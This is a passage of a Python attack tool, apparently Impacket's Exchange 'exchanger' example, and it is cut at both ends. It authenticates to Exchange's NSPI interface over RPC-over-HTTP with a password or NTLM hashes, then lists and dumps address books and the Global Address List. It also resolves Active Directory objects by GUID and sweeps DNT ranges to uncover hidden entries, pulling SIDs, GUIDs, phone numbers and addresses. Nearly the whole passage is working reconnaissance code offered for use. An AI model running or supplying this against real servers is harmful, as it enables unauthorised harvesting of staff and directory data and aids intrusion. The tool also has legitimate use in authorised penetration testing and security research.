0xfffd0003\nPR_EMS_AB_PARENT_ENTRYID = 0xfffc0102\nPR_DISPLAY_NAME          = 0x3001001F\nPR_EMS_AB_OBJECT_GUID    = 0x8c6d0102\nPR_INSTANCE_KEY          = 0x0ff60102\n\nDELIMITER = \"=======================\"\n\nclass Exchanger:\n    def __init__(self):\n        self._username = ''\n        self._password = ''\n        self._domain = ''\n        self._lmhash = ''\n        self._nthash = ''\n\n        self._extended_output = False\n        self._output_type = 'hex'\n\n        self._stringbinding = None\n        self._rpctransport = None\n\n        self.__outputFileName = None\n        self.__outputFd = None\n\n    def conenct_mapi(self):\n        raise NotImplementedError('Virtual method. Not implemented in subclass!')\n\n    def connect_rpc(self):\n        raise NotImplementedError('Virtual method. Not implemented in subclass!')\n\n    def load_autodiscover(self):\n        # This should be implemented only as optional,\n        # and the implementation should support processing emails\n        # which do not belong to the used for the authentication account\n        raise NotImplementedError('Not Implemented!')\n\n    def set_credentials(self, username='', password='', domain='', hashes=None):\n        self._username = username\n        self._password = password\n        self._domain = domain\n        self._lmhash = ''\n        self._nthash = ''\n\n        if hashes is not None:\n            self._lmhash, self._nthash = hashes.split(':')\n\n    def set_extended_output(self, output_mode):\n        self._extended_output = output_mode\n\n    def set_output_type(self, output_type):\n        self._output_type = output_type\n\n    def set_output_file(self, filename):\n        self.__outputFileName = filename\n        self.__outputFd = open(self.__outputFileName, 'w+')\n\n    def print(self, text):\n        if self.__outputFd != None:\n            if PY3:\n                self.__outputFd.write(text + '\\n')\n            else:\n                self.__outputFd.write((text + '\\n').encode('utf-8'))\n        print(text)\n\n    def _encode_binary(self, bytestr):\n        if PY3 and self._output_type == \"hex\":\n            return \"0x%s\" % str(binascii.hexlify(bytestr), 'ascii')\n        elif self._output_type == \"hex\":\n            return \"0x%s\" % binascii.hexlify(bytestr)\n        elif PY3:\n            return str(base64.b64encode(bytestr), 'ascii')\n        else:\n            return base64.b64encode(bytestr)\n\n    def __del__(self):\n        if self.__outputFd != None:\n            self.__outputFd.close()\n        self.__outputFd = None\n\nclass NSPIAttacks(Exchanger):\n    PROPS_GUID = [PR_EMS_AB_OBJECT_GUID]\n\n    PROPS_MINUMAL = [\n            0x3a00001F, # mailNickname\n            0x39fe001F, # mail\n            0x80270102, # objectSID\n            0x30070040, # whenCreated\n            0x30080040, # whenChanged\n            0x8c6d0102, # objectGUID\n        ]\n\n    PROPS_EXTENDED = PROPS_MINUMAL + [\n            # Names\n            0x3a0f001f, # cn\n            0x8202001f, # name\n            0x0fff0102, # PR_ENTRYID\n            0x3001001f, # PR_DISPLAY_NAME\n            0x3a20001f, # PR_TRANSMITABLE_DISPLAY_NAME\n            0x39ff001f, # displayNamePrintable\n            0x800f101f, # proxyAddresses\n            0x8171001f, # lDAPDisplayName\n            0x8102101f, # ou\n            0x804b001F, # adminDisplayName\n\n            # Text Properties\n            0x806f101f, # description\n            0x3004001f, # info\n            0x8069001f, # c\n            0x3a26001f, # co\n            0x3a2a001f, # postalCode\n            0x3a28001f, # st\n            0x3a29001f, # streetAddress\n            0x3a09001f, # homePhone\n            0x3a1c001f, # mobile\n            0x3a1b101f, # otherTelephone\n            0x3a16001f, # company\n            0x3a18001f, # department\n            0x3a17001f, # title\n            0x3a11001f, # sn\n            0x3a0a001f, # initials\n            0x3a06001f, # givenName\n\n            # Attributes of Types\n            0x0ffe0003, # PR_OBJECT_TYPE\n            0x39000003, # PR_DISPLAY_TYPE\n            0x80bd0003, # instanceType\n\n            # Exchange Extension Attributes\n            0x802d001F, # extensionAttribute1\n            0x802e001F, # extensionAttribute2\n            0x802f001F, # extensionAttribute3\n            0x8030001F, # extensionAttribute4\n            0x8031001F, # extensionAttribute5\n            0x8032001F, # extensionAttribute6\n            0x8033001F, # extensionAttribute7\n            0x8034001F, # extensionAttribute8\n            0x8035001F, # extensionAttribute9\n            0x8036001F, # extensionAttribute10\n            0x8c57001F, # extensionAttribute11\n            0x8c58001F, # extensionAttribute12\n            0x8c59001F, # extensionAttribute13\n            0x8c60001F, # extensionAttribute14\n            0x8c61001F, # extensionAttribute15\n\n            # 0x8c9e0102, # thumbnailPhoto, large\n\n            # Configuration\n            0x81b6101e, # protocolSettings\n            0x8c9f001e, # msExchUserCulture\n            0x8c730102, # msExchMailboxGuid\n            0x8c96101e, # msExchResourceAddressLists, exists only for Exchange Organization object\n            0x8c750102, # msExchMasterAccountSid\n            0x8cb5000b, # msExchEnableModeration\n            0x8cb30003, # msExchGroupJoinRestriction\n            0x8ce20003, # msExchGroupMemberCount\n\n            # Useful when lookuping DNTs\n            0x813b101e, # subRefs\n            0x8170101e, # networkAddress\n            0x8011001e, # targetAddress\n            0x8175101e, # url\n\n            # Useful for distinguishing accounts\n            0x8c6a1102, # userCertificate\n\n            # Assigned MId\n            0x0ff60102, # PR_INSTANCE_KEY\n    ]\n\n    # MS-OXNSPI\n    # 2.1 Transport\n    # For the network protocol sequence RPC over HTTPS,\n    # this protocol MUST use the well-known endpoint 6004.\n    DEFAULT_STRING_BINDING = 'ncacn_http:%s[6004,RpcProxy=%s:443]'\n\n    def __init__(self):\n        Exchanger.__init__(self)\n\n        self.__handler = None\n\n        self.htable = {}\n        self.anyExistingContainerID = -1\n\n        self.props = list()\n        self.stat = nspi.STAT()\n        self.stat['CodePage'] = nspi.CP_TELETEX\n\n    def connect_rpc(self, remoteName, rpcHostname=''):\n        self._stringbinding = self.DEFAULT_STRING_BINDING % (rpcHostname, remoteName)\n        logging.debug('StringBinding %s' % self._stringbinding)\n\n        self._rpctransport = transport.DCERPCTransportFactory(self._stringbinding)\n        self._rpctransport.set_credentials(self._username, self._password, self._domain,\n                                           self._lmhash, self._nthash)\n\n        self.__dce = self._rpctransport.get_dce_rpc()\n\n        # MS-OXNSPI\n        # 3.1.4 Message Processing Events and Sequencing Rules\n        #\n        # This protocol MUST indicate to the RPC runtime that it\n        # is to perform a strict Network Data Representation (NDR) data\n        # consistency check at target level 6.0, as specified in [MS-RPCE].\n        self.__dce.set_credentials(self._username, self._password, self._domain,\n                                   self._lmhash, self._nthash)\n        if options.basic:\n            self._rpctransport.set_auth_type(AUTH_BASIC)\n\n        self.__dce.set_auth_level(6)\n\n        self.__dce.connect()\n        self.__dce.bind(nspi.MSRPC_UUID_NSPI)\n\n        resp = nspi.hNspiBind(self.__dce, self.stat)\n        self.__handler = resp['contextHandle']\n\n    def update_stat(self, table_MId):\n        stat = nspi.STAT()\n        stat['CodePage'] = CP_TELETEX\n        stat['ContainerID'] = NSPIAttacks._int_to_dword(table_MId)\n\n        resp = nspi.hNspiUpdateStat(self.__dce, self.__handler, stat)\n        self.stat = resp['pStat']\n\n    def load_htable(self):\n        resp = nspi.hNspiGetSpecialTable(self.__dce, self.__handler)\n        resp_simpl = nspi.simplifyPropertyRowSet(resp['ppRows'])\n\n        self._parse_and_set_htable(resp_simpl)\n\n    def load_htable_stat(self):\n        for MId in self.htable:\n            self.update_stat(MId)\n            self.htable[MId]['count'] = self.stat['TotalRecs']\n            self.htable[MId]['start_mid'] = self.stat['CurrentRec']\n\n    def load_htable_containerid(self):\n        if self.anyExistingContainerID != -1:\n            return\n\n        if self.htable == {}:\n            self.load_htable()\n\n        for MId in self.htable:\n            self.update_stat(MId)\n\n            if self.stat['CurrentRec'] > 0:\n                self.anyExistingContainerID = NSPIAttacks._int_to_dword(MId)\n                return\n\n    def _parse_and_set_htable(self, htable):\n        self.htable = {}\n\n        for ab in htable:\n            MId = ab[PR_EMS_AB_CONTAINERID]\n\n            self.htable[MId] = {}\n            self.htable[MId]['flags'] = ab[PR_CONTAINER_FLAGS]\n\n            if MId == 0:\n                self.htable[0]['name'] = \"Default Global Address List\"\n            else:\n                self.htable[MId]['name'] = ab[PR_DISPLAY_NAME]\n                self.htable[MId]['guid'] = get_guid_from_dn(ab[PR_ENTRYID])\n\n            if PR_EMS_AB_PARENT_ENTRYID in ab:\n                self.htable[MId]['parent_guid'] = get_guid_from_dn(ab[PR_EMS_AB_PARENT_ENTRYID])\n\n            if PR_DEPTH in ab:\n                self.htable[MId]['depth'] = ab[PR_DEPTH]\n            else:\n                self.htable[MId]['depth'] = 0\n\n            if PR_EMS_AB_IS_MASTER in ab:\n                self.htable[MId]['is_master'] = ab[PR_EMS_AB_IS_MASTER]\n            else:\n                self.htable[MId]['is_master'] = 0\n\n    @staticmethod\n    def _int_to_dword(number):\n        if number > 0:\n            return number\n        else:\n            return (number + (1 << 32)) % (1 << 32)\n\n    def print_htable(self, parent_guid=None):\n        MIds_print = []\n\n        for MId in self.htable:\n            if parent_guid == None and 'parent_guid' not in self.htable[MId]:\n                MIds_print.append(MId)\n            elif parent_guid != None and 'parent_guid' in self.htable[MId] and self.htable[MId]['parent_guid'] == parent_guid:\n                MIds_print.append(MId)\n\n        for MId in MIds_print:\n            ab = self.htable[MId]\n            ab['printed'] = True\n            indent = '    ' * ab['depth']\n\n            # Table name\n            print(\"%s%s\" % (indent, ab['name']))\n\n            # Count\n            if 'count' in ab:\n                print(\"%sTotalRecs: %d\" % (indent, ab['count']))\n\n            # Table params\n            if MId != 0:\n                guid = uuid.bin_to_string(ab['guid']).lower()\n                print(\"%sGuid: %s\" % (indent, guid))\n            else:\n                print(\"%sGuid: None\" % indent)\n\n            if ab['is_master'] != 0:\n                print(\"%sPR_EMS_AB_IS_MASTER attribute is set!\" % indent)\n\n            if self._extended_output:\n                dword = NSPIAttacks._int_to_dword(MId)\n                print(\"%sAssigned MId: 0x%.08X (%d)\" % (indent, dword, MId))\n\n                if 'start_mid' in ab:\n                    dword = NSPIAttacks._int_to_dword(ab['start_mid'])\n                    if dword == 2:\n                        print(\"%sAssigned first record MId: 0x00000002 (MID_END_OF_TABLE)\" % indent)\n                    else:\n                        print(\"%sAssigned first record MId: 0x%.08X (%d)\" % (indent, dword, ab['start_mid']))\n\n                flags = parse_bitmask(PR_CONTAINER_FLAGS_VALUES, ab['flags'])\n                print(\"%sFlags: %s\" % (indent, flags))\n\n            print()\n\n            if MId != 0:\n                self.print_htable(parent_guid=ab['guid'])\n\n        if parent_guid == None:\n            for MId in self.htable:\n                if self.htable[MId]['printed'] == False:\n                    print(\"Found parentless object!\")\n                    print(\"Name: %s\" % self.htable[MId]['name'])\n                    print(\"Guid: %s\" % uuid.bin_to_string(self.htable[MId]['guid']).lower())\n                    print(\"Parent guid: %s\" % uuid.bin_to_string(self.htable[MId]['parent_guid']).lower())\n                    dword = NSPIAttacks._int_to_dword(MId) if MId < 0 else MId\n                    print(\"Assigned MId: 0x%.08X (%d)\" % (dword, MId))\n                    flags = parse_bitmask(PR_CONTAINER_FLAGS_VALUES, self.htable[MId]['flags'])\n                    print(\"Flags: %s\" % flags)\n                    if self.htable[MId]['is_master'] != 0:\n                        print(\"%sPR_EMS_AB_IS_MASTER attribute is set!\" % indent)\n                    print()\n\n    def disconnect(self):\n        nspi.hNspiUnbind(self.__dce, self.__handler)\n        self.__dce.disconnect()\n\n    def print_row(self, row_simpl, delimiter=None):\n        empty = True\n\n        for aulPropTag in row_simpl:\n            PropertyId = aulPropTag >> 16\n            PropertyType = aulPropTag & 0xFFFF\n\n            # Error, e.g. MAPI_E_NOT_FOUND\n            if PropertyType == 0x000A:\n                continue\n\n            # PtypEmbeddedTable\n            if PropertyType == 0x000D:\n                continue\n\n            empty = False\n\n            if PropertyId in MAPI_PROPERTIES:\n                property_name = MAPI_PROPERTIES[PropertyId][1]\n                if property_name is None:\n                    property_name = MAPI_PROPERTIES[PropertyId][5]\n                if property_name is None:\n                    property_name = MAPI_PROPERTIES[PropertyId][6]\n            else:\n                property_name = \"0x%.8x\" % aulPropTag\n\n            if self._extended_output:\n                property_name = \"%s, 0x%.8x\" % (property_name, aulPropTag)\n\n            if isinstance(row_simpl[aulPropTag], ExchBinaryObject):\n                self.print(\"%s: %s\" % (property_name, self._encode_binary(row_simpl[aulPropTag])))\n            else:\n                self.print(\"%s: %s\" % (property_name, row_simpl[aulPropTag]))\n\n        if empty == False and delimiter != None:\n            self.print(delimiter)\n\n    def load_props(self):\n        if len(self.props) > 0:\n            return\n\n        resp = nspi.hNspiQueryColumns(self.__dce, self.__handler)\n\n        for prop in resp['ppColumns']['aulPropTag']:\n            PropertyTag = prop['Data']\n            PropertyType = PropertyTag & 0xFFFF\n\n            if PropertyType == 0x000D:\n                # Skipping PtypEmbeddedTable to reduce traffic\n                continue\n\n            self.props.append(PropertyTag)\n\n    def req_print_table_rows(self, table_MId=None, attrs=[], count=50, eTable=None, onlyCheck=False):\n        printOnlyGUIDs = False\n        useAsExplicitTable = False\n\n        if self.anyExistingContainerID == -1:\n            self.load_htable_containerid()\n\n        if table_MId == None and eTable == None:\n            raise Exception(\"Wrong arguments!\")\n        elif table_MId != None and eTable != None:\n            raise Exception(\"Wrong arguments!\")\n        elif table_MId != None:\n            # Let's call NspiUpdateStat\n            # It's important when the given MId is taken from the hierarchy table,\n            # especially in Multi-Tenant environments\n            self.update_stat(table_MId)\n\n            # Table end reached\n            if self.stat['CurrentRec'] == nspi.MID_END_OF_TABLE:\n                # Returning False to support onlyCheck\n                return False\n        else:\n            # eTable != None\n            useAsExplicitTable = True\n\n        if attrs == self.PROPS_GUID:\n            # GUIDS\n            firstReqProps = self.PROPS_GUID\n            printOnlyGUIDs = True\n        elif attrs == self.PROPS_MINUMAL:\n            # MINIMAL\n            firstReqProps = self.PROPS_MINUMAL\n        elif attrs == []:\n            # FULL\n            # Requesting a list of all the properties that the server knows\n            if self.props == []:\n                self.load_props()\n            attrs = self.props\n\n            # To avoid MAPI_E_NOT_ENOUGH_RESOURCES error we request MIds,\n            # and then use them as an Explicit Table\n            firstReqProps = [PR_INSTANCE_KEY]\n            useAsExplicitTable = True\n        else:\n            # EXTENDED and custom\n            #\n            # To avoid MAPI_E_NOT_ENOUGH_RESOURCES error we request MIds,\n            # and then use them as an Explicit Table\n            firstReqProps = [PR_INSTANCE_KEY]\n            useAsExplicitTable = True\n\n        if onlyCheck:\n            attrs = self.PROPS_GUID\n            firstReqProps = self.PROPS_GUID\n            useAsExplicitTable = True\n\n        while True:\n            if eTable == None:\n                resp = nspi.hNspiQueryRows(self.__dce, self.__handler,\n                    pStat=self.stat, Count=count, pPropTags=firstReqProps)\n                self.stat = resp['pStat']\n\n                try:\n                    # Addressing to PropertyRowSet_r must be inside try / except,\n                    # as if the server returned a wrong result, it can be in\n                    # multiple of forms, and we cannot easily determine it\n                    # before parsing\n                    resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows'])\n                except Exception as e:\n                    resp.dumpRaw()\n                    logging.error(str(e))\n                    raise Exception(\"NspiQueryRows returned wrong result\")\n\n                if onlyCheck:\n                    if len(resp_rows) == 0:\n                        return False\n\n                    for row in resp_rows:\n                        # PropertyId = 0x8C6D (objectGUID)\n                        # PropertyType = 0x000A (error)\n                        if 0x8C6D000A not in row:\n                            return True\n\n                    return False\n\n            if useAsExplicitTable:\n                if eTable == None:\n                    eTableInt = []\n                    for row in resp_rows:\n                        eTableInt.append(row[PR_INSTANCE_KEY])\n                else:\n                    eTableInt = eTable\n\n                resp = nspi.hNspiQueryRows(self.__dce, self.__handler,\n                    ContainerID=self.anyExistingContainerID, Count=count, pPropTags=attrs, lpETable=eTableInt)\n\n                try:\n                    # Addressing to PropertyRowSet_r must be inside try / except,\n                    # as if the server returned a wrong result, it can be in\n                    # multiple of forms, and we cannot easily determine it\n                    # before parsing\n                    resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows'])\n                except Exception as e:\n                    resp.dumpRaw()\n                    logging.error(str(e))\n                    raise Exception(\"NspiQueryRows returned wrong result while processing explicit table\")\n\n                if onlyCheck:\n                    if len(resp_rows) == 0:\n                        return False\n\n                    for row in resp_rows:\n                        # PropertyId = 0x8C6D (objectGUID)\n                        # PropertyType = 0x000A (error)\n                        if 0x8C6D000A not in row:\n                            return True\n\n                    return False\n\n            if printOnlyGUIDs:\n                for row in resp_rows:\n                    if PR_EMS_AB_OBJECT_GUID in row:\n                        objectGuid = row[PR_EMS_AB_OBJECT_GUID]\n                        self.print(objectGuid)\n                    else:\n                        # Empty row (wrong MId)\n                        pass\n            else:\n                for row in resp_rows:\n                    self.print_row(row, DELIMITER)\n\n            # When the caller specified eTable it's always one NspiQueryRows call\n            if eTable != None:\n                break\n\n            # Table end reached\n            # It also MUST be checked after NspiUpdateStat\n            if self.stat['CurrentRec'] == nspi.MID_END_OF_TABLE:\n                break\n\n            # This should not happen\n            if len(resp_rows) == 0:\n                break\n\n    def req_print_guid(self, guid=None, attrs=[], count=50, guidFile=None):\n        if guid == None and guidFile == None:\n            raise Exception(\"Wrong arguments!\")\n        elif guid != None and guidFile != None:\n            raise Exception(\"Wrong arguments!\")\n\n        if attrs == []:\n            # Requesting a list of all the properties that the server knows\n            if self.props == []:\n                self.load_props()\n            attrs = self.props\n\n        if guid:\n            printedLines = self._req_print_guid([guid], attrs)\n            if printedLines == 0:\n                raise Exception(\"Object with specified GUID not found!\")\n            return\n\n        fd = open(guidFile, 'r')\n        line = fd.readline()\n\n        while True:\n            guidList = []\n            # EOF\n            if line == '':\n                break\n\n            # Reading N lines from the file\n            for i in range(count):\n                line = fd.readline()\n                guid = line.strip()\n\n                if guid == '' or line[0] == '#':\n                    continue\n\n                guidList.append(guid)\n\n            # Multiple empty lines or EOF\n            if len(guidList) == 0:\n                continue\n\n            # Processing\n            self._req_print_guid(guidList, attrs, DELIMITER)\n\n        fd.close()\n\n    def _req_print_guid(self, guidList, attrs, delimiter=None):\n        legacyDNList = []\n\n        for guid in guidList:\n            legacyDNList.append(get_dn_from_guid(guid, minimize=True))\n\n        resp = nspi.hNspiResolveNamesW(self.__dce, self.__handler, pPropTags=attrs, paStr=legacyDNList)\n\n        try:\n            # Addressing to PropertyRowSet_r must be inside try / except,\n            # as if the server returned a wrong result, it can be in\n            # multiple of forms, and we cannot easily determine it\n            # before parsing\n            if resp['ppRows']['cRows'] <= 0:\n                return 0\n\n            # Addressing to PropertyRowSet_r must be inside try / except,\n            # as if the server returned a wrong result, it can be in\n            # multiple of forms, and we cannot easily determine it\n            # before parsing\n            resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows'])\n        except Exception as e:\n            resp.dumpRaw()\n            logging.error(str(e))\n            raise Exception(\"NspiResolveNamesW returned wrong result\")\n\n        for row in resp_rows:\n            self.print_row(row, delimiter)\n\n        return resp['ppRows']['cRows']\n\n    def req_print_dnt(self, start_dnt, stop_dnt, attrs=[], count=50, checkIfEmpty=False):\n        if count <= 0 or start_dnt < 0 or stop_dnt < 0 or stop_dnt > 0xFFFFFFFF or start_dnt > 0xFFFFFFFF:\n            raise Exception(\"Wrong arguments!\")\n\n        if stop_dnt >= start_dnt:\n            step = count\n            rstep = 1\n        else:\n            step = -count\n            rstep = -1\n\n        stop_dnt += rstep\n        dnt1 = start_dnt\n        dnt2 = start_dnt + step\n\n        while True:\n            if step > 0 and dnt2 > stop_dnt:\n                dnt2 = stop_dnt\n            elif step < 0 and dnt2 < stop_dnt:\n                dnt2 = stop_dnt\n\n            self.print(\"# MIds %d-%d:\" % (dnt1, dnt2 - rstep))\n\n            if checkIfEmpty:\n                # Speed up the process by reducing the length of request/response\n                exists = self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep), onlyCheck=True)\n                if exists:\n                    self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep))\n            else:\n                self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep))\n\n            if dnt2 == stop_dnt:\n                break\n\n            dnt1 += step\n            dnt2 += step\n\nclass ExchangerHelper:\n    def __init__(self, domain, username, password, remoteName):\n        self.__domain = domain\n        self.__username = username\n        self.__password = password\n        self.__remoteName = remoteName\n\n        self.exch = None\n\n    def run(self, options):\n        module = options.module.lower()\n        submodule = options.submodule.lower()\n\n        if module == 'nspi':\n            # Checking options before connecting to the server\n            self.nspi_check(submodule, options)\n            self.nspi_run(submodule, options)\n        else:\n            raise Exception(\"%s module not found\" % module)\n\n    def nspi_run(self, submodule, options):\n        self.exch = NSPIAttacks()\n        self.exch.set_credentials(self.__username, self.__password, self.__domain, options.hashes)\n        self.exch.set_extended_output(options.debug)\n\n        if submodule in ['dump-tables', 'guid-known', 'dnt-lookup'] and options.output_file != None:\n            self.exch.set_output_file(options.output_file)\n\n        self.exch.connect_rpc(self.__remoteName, options.rpc_hostname)\n\n        if submodule == 'list-tables':\n            self.nspi_list_tables(options)\n        elif submodule == 'dump-tables':\n            self.nspi_dump_tables(options)\n        elif submodule == 'guid-known':\n            self.nspi_guid_known(options)\n        elif submodule == 'dnt-lookup':\n            self.nspi_dnt_lookup(options)\n\n        self.exch.disconnect()\n\n    def nspi_check(self, submodule, options):\n        if submodule == 'dump-tables' and options.name == None and options.guid == None:\n            dump_tables.print_help()\n            sys.exit(1)\n\n        if submodule == 'dump-tables' and options.name != None and options.guid != None:\n            logging.error(\"Specify only one of -name or -guid\")\n            sys.exit(1)\n\n        if submodule == 'guid-known' and options.guid == None and options.guid_file == None:\n            guid_known.print_help()\n            sys.exit(1)\n\n        if submodule == 'guid-known' and options.guid != None and options.guid_file != None:\n            logging.error(\"Specify only one of -guid or -guid-file\")\n            sys.exit(1)\n\n    def nspi_list_tables(self, options):\n        self.exch.load_htable()\n\n        if options.count:\n            self.exch.load_htable_stat()\n\n        self.exch.print_htable()\n\n    def nspi_dump_tables(self, options):\n        self.exch.set_output_type(options.output_type)\n\n        if options.lookup_type == None or options.lookup_type == 'MINIMAL':\n            propTags = NSPIAttacks.PROPS_MINUMAL\n        elif options.lookup_type == 'EXTENDED':\n            propTags = NSPIAttacks.PROPS_EXTENDED\n        elif options.lookup_type == 'GUIDS':\n            propTags = NSPIAttacks.PROPS_GUID\n        else:\n            # FULL\n            propTags = []\n\n        if options.name != None and options.name.lower() in ['gal', 'default global address list', 'global address list']:\n            logging.info(\"Lookuping Global Address List\")\n            table_MId = 0\n        else:\n            # 2.2.8\n            # The client obtains Minimal Entry IDs for STAT ContainerID\n            # from the server's address book hierarchy table\n            #\n            # We cannot convert the GUID to a MId via NspiDNToMId or similar operations because it\n            # may not work in Multi-Tenant environments\n            self.exch.load_htable()\n\n            if options.guid != None:\n                logging.info(\"Search for an address book with objectGUID = %s\" % options.guid)\n                guid = uuid.string_to_bin(options.guid)\n                name = None\n            else:\n                guid = None\n                name = options.name\n\n            table_MId = 0\n\n            for MId in self.exch.htable:\n                if MId == 0:\n                    # GAL\n                    continue\n\n                if guid is not None:\n                    # -guid\n                    if self.exch.htable[MId]['guid'] == guid:\n                        logging.debug(\"MId %d is assigned for %s object\" % (MId, options.guid))\n                        logging.info(\"Lookuping %s\" % self.exch.htable[MId]['name'])\n                        table_MId = MId\n                        break\n                else:\n                    # -name\n                    if self.exch.htable[MId]['name'] == name:\n                        guid = uuid.bin_to_string(self.exch.htable[MId]['guid'])\n                        logging.debug(\"MId %d is assigned for %s object\" % (MId, guid))\n                        logging.info(\"Lookuping address book with objectGUID = %s\" % guid)\n                        table_MId = MId\n                        break\n\n            if table_MId == 0:\n                logging.error(\"Specified address book not found!\")\n                sys.exit(1)\n\n        self.exch.req_print_table_rows(table_MId, propTags, options.rows_per_request)\n\n    def nspi_guid_known(self, options):\n        self.exch.set_output_type(options.output_type)\n\n        if options.lookup_type == None or options.lookup_type == 'MINIMAL':\n            propTags = NSPIAttacks.PROPS_MINUMAL\n        elif options.lookup_type == 'EXTENDED':\n            propTags = NSPIAttacks.PROPS_EXTENDED\n        else:\n            # FULL\n            propTags = []\n\n        if options.guid != None:\n            self.exch.req_print_guid(options.guid, propTags)\n        else:\n            self.exch.req_print_guid(attrs=propTags, count=options.rows_per_request, guidFile=options.guid_file)\n\n    def nspi_dnt_lookup(self, options):\n        if options.lookup_type == None or options.lookup_type == 'EXTENDED':\n            propTags = NSPIAttacks.PROPS_EXTENDED\n        elif options.lookup_type == 'GUIDS':\n            propTags = NSPIAttacks.PROPS_GUID\n        else:\n            # FULL\n            propTags = []\n\n        self.exch.req_print_dnt(options.start_dnt, options.stop_dnt, attrs=propTags,\n            count=options.rows_per_request, checkIfEmpty=True)\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    # Explicitly changing the stdout encoding format\n    if sys.stdout.encoding is None:\n        # Output is redirected to a file\n        sys.stdout = codecs.getwriter('utf8')(sys.stdout)\n\n    print(version.BANNER)\n\n    class SmartFormatter(argparse.HelpFormatter):\n        def _split_lines(self, text, width):\n            if text.startswith('R|'):\n                return text[2:].splitlines()\n            else:\n                return argparse.HelpFormatter._split_lines(self, text, width)\n\n    def localized_arg(bytestring):\n        unicode_string = bytestring.decode(sys.getfilesystemencoding())\n        return unicode_string\n\n    parser = argparse.ArgumentParser(add_help=True, description=\"A tool to abuse Exchange services\")\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG and EXTENDED output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    #parser.add_argument('-transport', choices=['RPC', 'MAPI'], nargs='?', default='RPC', help='Protocol to use')\n    parser.add_argument('-rpc-hostname', action='store', help='A name of the server in GUID (preferred) '\n        'or NetBIOS name format (see description in the beggining of this file)')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n\n    if PY37ORHIGHER:\n        subparsers = parser.add_subparsers(help='A module name', dest='module', required=True)\n    else:\n        subparsers = parser.add_subparsers(help='A module name', dest='module')\n\n    # NSPI module\n    nspi_parser = subparsers.add_parser('nspi', help='Attack NSPI interface')\n\n    # Attacks for NSPI protocol\n    if PY37ORHIGHER:\n        nspi_attacks = nspi_parser.add_subparsers(help='A submodule name', dest='submodule', required=True)\n    else:\n        nspi_attacks = nspi_parser.add_subparsers(help='A submodule name', dest='submodule')\n\n    list_tables = nspi_attacks.add_parser('list-tables', help='List Address Books')\n    list_tables.add_argument('-count', action='store_true', help='Request total number of records in each table')\n    parser.add_argument('-basic', action='store_true', help='Authenticate with Basic Auth instead of NTLM')\n\n\n    dump_tables = nspi_attacks.add_parser('dump-tables', formatter_class=SmartFormatter, help='Dump Address Books')\n    dump_tables.add_argument('-lookup-type', choices=['MINIMAL', 'EXTENDED', 'FULL', 'GUIDS'], nargs='?', default='MINIMAL',\n        help='R|Lookup type:\\n'\n             '  MINIMAL  - Request limited set of fields (default)\\n'\n             '  EXTENDED - Request extended set of fields\\n'\n             '  FULL     - Request all fields for each row\\n'\n             '  GUIDS    - Request only GUIDs')\n    dump_tables.add_argument('-rows-per-request', action='store', type=int, metavar=\"50\", default=50,\n        help='Limit the number of rows per request')\n\n    if PY3:\n        dump_tables.add_argument('-name', action='store', help='Dump table with the specified name (inc. GAL)')\n    else:\n        dump_tables.add_argument('-name', action='store', help='Dump table with the specified name (inc. GAL)',\n            type=localized_arg)\n\n    dump_tables.add_argument('-guid', action='store', help='Dump table with the specified GUID')\n    dump_tables.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex',\n        help='Output format for binary objects')\n    dump_tables.add_argument('-output-file', action='store', help='Output filename')\n\n    guid_known = nspi_attacks.add_parser('guid-known', formatter_class=SmartFormatter,\n        help='Retrieve Active Directory objects by GUID / GUIDs')\n    guid_known.add_argument('-guid', action='store', help='Dump object with the specified GUID')\n    guid_known.add_argument('-guid-file', action='store', help='Dump objects using GUIDs from file')\n    guid_known.add_argument('-lookup-type', choices=['MINIMAL', 'EXTENDED', 'FULL'], nargs='?', default='MINIMAL',\n        help='R|Lookup type:\\n'\n             '  MINIMAL  - Request limited set of fields (default)\\n'\n             '  EXTENDED - Request extended set of fields\\n'\n             '  FULL     - Request all fields for each row')\n    guid_known.add_argument('-rows-per-request', action='store', type=int, metavar=\"50\", default=50,\n        help='Limit the number of rows per request')\n    guid_known.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex',\n        help='Output format for binary objects')\n    guid_known.add_argument('-output-file', action='store', help='Output filename')\n\n    dnt_lookup = nspi_attacks.add_parser('dnt-lookup', formatter_class=SmartFormatter, help='Lookup Distinguished Name Tags')\n    dnt_lookup.add_argument('-lookup-type', choices=['EXTENDED', 'FULL', 'GUIDS'], nargs='?', default='EXTENDED',\n        help='R|Lookup type:\\n'\n             '  EXTENDED - Request extended set of fields (default)\\n'\n             '  FULL     - Request all fields for each row\\n'\n             '  GUIDS    - Request only GUIDs')\n    dnt_lookup.add_argument('-rows-per-request', action='store', type=int, metavar=\"350\", default=350,\n        help='Limit the number of rows per request')\n\n    dnt_lookup.add_argument('-start-dnt', action='store', type=int, metavar=\"500000\", default=500000,\n        help='A DNT to start from')\n    dnt_lookup.add_argument('-stop-dnt', action='store', type=int, metavar=\"0\", default=0,\n        help='A DNT to lookup to')\n\n    dnt_lookup.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex',\n        help='Output format for binary objects')\n    dnt_lookup.add_argument('-output-file', action='store', help='Output filename')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if domain is None:\n        domain = ''\n\n    if password == '' and username != '' and options.hashes is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    if options.rpc_hostname == '':\n        # Preventing false feedback that empty hostname means something for Exchange\n        # For autodetect -rpc-hostname should be skipped\n        logging.error(\"-rpc-hostname cannot be empty\")\n        sys.exit(1)\n\n    if options.rpc_hostname is None:\n        # Autodetect\n        options.rpc_hostname = ''\n\n    try:\n        exchHelper = 